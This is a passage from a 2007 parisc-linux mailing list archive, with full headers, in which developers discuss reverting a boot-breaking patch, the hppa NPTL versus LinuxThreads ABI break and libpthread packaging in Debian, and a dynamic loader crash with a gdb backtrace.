List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /y/scRcsTiEt/ayUaGRw8t91ZUVSRJeA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24365

> Reverting this patch allows ioz to boot correctly.

With the patch reverted, I was also able to boot successfully
an SMP kernel on what was ior for the first time ;)

Thanks,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NPTL for hppa-linux is not backwards compatible
	with Linuxthreads.
Date: Mon, 19 Feb 2007 08:32:15 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <5b2e36650702190532u680731e4j71fa272806343b17__43929.2823001326$1416624302$gmane$org@mail.gmail.com>
References: <119aab440702181143h682c78d9ra0d765b06e08a594@mail.gmail.com>
	<200702182027.00027.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624302 22905 80.91.229.3 (22 Nov 2014 02:45:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:02 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
 Aurelien Jarno <aurel32@debian.org>,
 Roland McGrath <roland@redhat.com>,
 libc-ports@sourceware.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Mike Frysinger" <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 13:32:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 19 Feb 2007 14:32:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0EE27DBB8;
	Mon, 19 Feb 2007 06:32:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09949-01; Mon, 19 Feb 2007 06:32:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6FFEC7DBAF;
	Mon, 19 Feb 2007 06:32:29 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D6D87DB95
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 06:32:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08445-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 06:32:18 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.175])
	by free.linux.hp.com (Postfix) with ESMTP id AB29B7DA92
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 06:32:17 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so632780ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 05:32:16 -0800 (PST)
Original-Received: by 10.114.126.1 with SMTP id y1mr2883370wac.1171891935603;
	Mon, 19 Feb 2007 05:32:15 -0800 (PST)
Original-Received: by 10.114.126.12 with HTTP; Mon, 19 Feb 2007 05:32:15 -0800 (PST)
In-Reply-To: <200702182027.00027.vapier@gentoo.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: r+KTAioMa2A75rvDOHQylbAyOWhhaod/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24366

On 18/02/07, Mike Frysinger <vapier@gentoo.org> wrote:
> if the breakage is just in pthreads, i dont think the libc ABI needs to be
> bumped, just the pthread one ?  libc provides look ahead stub functions for
> pthreads, so it shouldnt be affected by the breakage you've mentioned with
> static lock initializers ...
>
> libpthread.so.0 -> libpthread.so.1

While it's definetly Ubuntu and Debian's problem, not upstream's,
libpthread is bundled in the "libc6" package.  Bumping just the
libpthread version will make packaging hard for those distros.  If
there are other ABI breaking moves that need to be done that would
cause a bump from libc6, doing them now would help sidestep the
problem.

Tks.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Mon, 19 Feb 2007 09:49:57 -0500 (EST)
Lines: 46
Approved: news@gmane.org
Message-ID: <200702191449.l1JEnwnc012365__16900.9889862084$1416624302$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702181115y47923d8x5a2381ac8290a028@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624302 22944 80.91.229.3 (22 Nov 2014 02:45:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 14:50:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 19 Feb 2007 15:50:13 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B6567DBC7;
	Mon, 19 Feb 2007 07:50:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10220-10; Mon, 19 Feb 2007 07:50:10 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B4337DBBE;
	Mon, 19 Feb 2007 07:50:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 55CE27DBBC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 07:50:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10220-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 07:50:02 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8F7507DBBB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 07:50:02 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1JEnxGo012366;
	Mon, 19 Feb 2007 09:50:00 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1JEnwnc012365;
	Mon, 19 Feb 2007 09:49:58 -0500 (EST)
In-Reply-To: <119aab440702181115y47923d8x5a2381ac8290a028@mail.gmail.com> from
	"Carlos O'Donell" at Feb 18, 2007 02:15:35 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HovqcXQMX1VpteuYY2FyYOF3SDc4NAwZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24367

> On 2/18/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> > We could add a PROC or OS specific DT_* value to solve this problem.
> > IA64 uses PLT_RESERVE for this specific purpose.
> 
> ... we are all volunteers, and this work would be *icing* on the cake.
> I'm trying to fix pthread_pop/push_cleanup in NPTL right now :-)

Here's another one:

echo ../../../gcc/libjava/classpath/lib/javax/swing/filechooser/*.class > javax/
swing/filechooser.list
/bin/sh: In elf_machine_rela_relative ELF32_R_SYM (reloc->r_info) != 0. Aborting
.make[3]: *** [javax/swing/filechooser.list] Illegal instruction (core dumped)
make[3]: *** Waiting for unfinished jobs....

Core was generated by `/bin/sh -c echo ../../../gcc/libjava/classpath/lib/javax/swing/filechooser/*.cl'.
Program terminated with signal 4, Illegal instruction.
#0  0x402e624c in _dl_relocate_object () from /lib/ld.so.1
(gdb) bt
#0  0x402e624c in _dl_relocate_object () from /lib/ld.so.1
#1  0x402e6248 in _dl_relocate_object () from /lib/ld.so.1
Previous frame identical to this frame (corrupt stack?)
(gdb) disass 0x402e623c 0x402e625c
Dump of assembler code from 0x402e623c to 0x402e625c:
0x402e623c <_dl_relocate_object+564>:   ldw 3c4(r1),r25
0x402e6240 <_dl_relocate_object+568>:   b,l 0x402e96d0 <_dl_dprintf>,rp
0x402e6244 <_dl_relocate_object+572>:   ldi 2,r26
0x402e6248 <_dl_relocate_object+576>:   copy r4,r19
0x402e624c <_dl_relocate_object+580>:   iitlbp r0,(sr0,r0)
0x402e6250 <_dl_relocate_object+584>:   cmpib,= 1,r6,0x402e64a0 <_dl_relocate_object+1176>
0x402e6254 <_dl_relocate_object+588>:   extrw,u r7,31,2,ret0
0x402e6258 <_dl_relocate_object+592>:   cmpib,>> 1,r6,0x402e64ac <_dl_relocate_object+1188>

It really seems like something is randomly messing up memory when shared
libraries are being loaded.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NPTL for hppa-linux is not backwards compatible
	with Linuxthreads.
Date: Mon, 19 Feb 2007 16:26:36 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <45D9C1AC.9000501__42896.2006154054$1416624303$gmane$org@aurel32.net>
References: <119aab440702181143h682c78d9ra0d765b06e08a594@mail.gmail.com>	
	<200702182027.00027.vapier@gentoo.org>
	<5b2e36650702190532u680731e4j71fa272806343b17@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624303 22951 80.91.229.3 (22 Nov 2014 02:45:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:03 +0000 (UTC)
Cc: libc-ports@sourceware.org,
 Aurelien Jarno <aurel32@debian.org>,
 Roland McGrath <roland@redhat.com>,
 debian-glibc@lists.debian.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Jeff Bailey <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 15:27:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 19 Feb 2007 16:27:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC3C27DBC9;
	Mon, 19 Feb 2007 08:27:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10974-05; Mon, 19 Feb 2007 08:27:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 152A57DBC1;
	Mon, 19 Feb 2007 08:27:03 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C9997DBBF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 08:26:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10825-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 08:26:56 -0700 (MST)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 470737DBBE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 08:26:56 -0700 (MST)
Original-Received: from anguille.univ-lyon1.fr ([134.214.4.207])
	by mail.aurel32.net with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurelien@aurel32.net>)
	id 1HJAPg-0006by-PN; Mon, 19 Feb 2007 16:26:48 +0100
User-Agent: IceDove 1.5.0.9 (X11/20061220)
In-Reply-To: <5b2e36650702190532u680731e4j71fa272806343b17@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +/nvdFdYYmYSwOnCanc35NpKWkZTQZSF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24368

Jeff Bailey a écrit :
> On 18/02/07, Mike Frysinger <vapier@gentoo.org> wrote:
>> if the breakage is just in pthreads, i dont think the libc ABI needs to be
>> bumped, just the pthread one ?  libc provides look ahead stub functions for
>> pthreads, so it shouldnt be affected by the breakage you've mentioned with
>> static lock initializers ...
>>
>> libpthread.so.0 -> libpthread.so.1
> 
> While it's definetly Ubuntu and Debian's problem, not upstream's,
> libpthread is bundled in the "libc6" package.  Bumping just the
> libpthread version will make packaging hard for those distros.  If
> there are other ABI breaking moves that need to be done that would
> cause a bump from libc6, doing them now would help sidestep the
> problem.

Well I am thinking in splitting out libpthread.so.X from the libc6
package if the ABI breakage is confirmed. This is still a very
complicated transition, but I think far less packages are affected.

I am a bit busy right now, but I think we should put our transition
ideas (at least for Debian, and probably Ubuntu) on a wiki, for example
http://wiki.debian.org/HppaNptlTransition

Bye,
Aurelien

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NPTL for hppa-linux is not backwards compatible
	with Linuxthreads.
Date: Mon, 19 Feb 2007 10:48:41 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <5b2e36650702190748j1d9306e6mdbc6dc8ed210c4ab__21915.2813581333$1416624303$gmane$org@mail.gmail.com>
References: <119aab440702181143h682c78d9ra0d765b06e08a594@mail.gmail.com>
	<200702182027.00027.vapier@gentoo.org>
	<5b2e36650702190532u680731e4j71fa272806343b17@mail.gmail.com>
	<45D9C1AC.9000501@aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624303 22955 80.91.229.3 (22 Nov 2014 02:45:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:03 +0000 (UTC)
Cc: matthias.klose@ubuntu.com,
 libc-ports@sourceware.org,
 Aurelien Jarno <aurel32@debian.org>,
 Roland McGrath <roland@redhat.com>,
 debian-glibc@lists.debian.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Aurelien Jarno" <aurelien@aurel32.net>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 15:48:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 19 Feb 2007 16:48:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 550FA7DBB5;
	Mon, 19 Feb 2007 08:48:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11042-09; Mon, 19 Feb 2007 08:48:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 336817DBBE;
	Mon, 19 Feb 2007 08:48:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E91367DBAF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 08:48:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11042-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 08:48:44 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.172])
	by free.linux.hp.com (Postfix) with ESMTP id F33D77DBA4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 08:48:43 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so673004ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 07:48:42 -0800 (PST)
Original-Received: by 10.114.174.2 with SMTP id w2mr2944687wae.1171900121475;
	Mon, 19 Feb 2007 07:48:41 -0800 (PST)
Original-Received: by 10.114.126.12 with HTTP; Mon, 19 Feb 2007 07:48:41 -0800 (PST)
In-Reply-To: <45D9C1AC.9000501@aurel32.net>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2P/hcF0Ybmw74a2HZzdLsVNHUzc4clFQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24369

On 19/02/07, Aurelien Jarno <aurelien@aurel32.net> wrote:
> >> if the breakage is just in pthreads, i dont think the libc ABI needs to be
> >> bumped, just the pthread one ?  libc provides look ahead stub functions for
> >> pthreads, so it shouldnt be affected by the breakage you've mentioned with
> >> static lock initializers ...
> >>
> >> libpthread.so.0 -> libpthread.so.1
> >
> > While it's definetly Ubuntu and Debian's problem, not upstream's,
> > libpthread is bundled in the "libc6" package.  Bumping just the
> > libpthread version will make packaging hard for those distros.  If
> > there are other ABI breaking moves that need to be done that would
> > cause a bump from libc6, doing them now would help sidestep the
> > problem.
>
> Well I am thinking in splitting out libpthread.so.X from the libc6
> package if the ABI breakage is confirmed. This is still a very
> complicated transition, but I think far less packages are affected.

Well, the ABI breakage is confirmed.  I just remember people siting
some other corner case problems with the ABI they wanted to change.
Now would be a great time to change it all over if we need to do this.

> I am a bit busy right now, but I think we should put our transition
> ideas (at least for Debian, and probably Ubuntu) on a wiki, for example
> http://wiki.debian.org/HppaNptlTransition

Sounds good.  I've added doko to the cc: list.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NPTL for hppa-linux is not backwards compatible
	with Linuxthreads.
Date: Mon, 19 Feb 2007 17:05:10 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <45D9CAB6.1010406__15332.6850188479$1416624303$gmane$org@aurel32.net>
References: <119aab440702181143h682c78d9ra0d765b06e08a594@mail.gmail.com>	
	<200702182027.00027.vapier@gentoo.org>	
	<5b2e36650702190532u680731e4j71fa272806343b17@mail.gmail.com>	
	<45D9C1AC.9000501@aurel32.net>
	<5b2e36650702190748j1d9306e6mdbc6dc8ed210c4ab@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624303 22958 80.91.229.3 (22 Nov 2014 02:45:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:03 +0000 (UTC)
Cc: matthias.klose@ubuntu.com,
 libc-ports@sourceware.org,
 Roland McGrath <roland@redhat.com>,
 debian-glibc@lists.debian.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Jeff Bailey <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 16:05:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 19 Feb 2007 17:05:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B3EB7DBB5;
	Mon, 19 Feb 2007 09:05:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
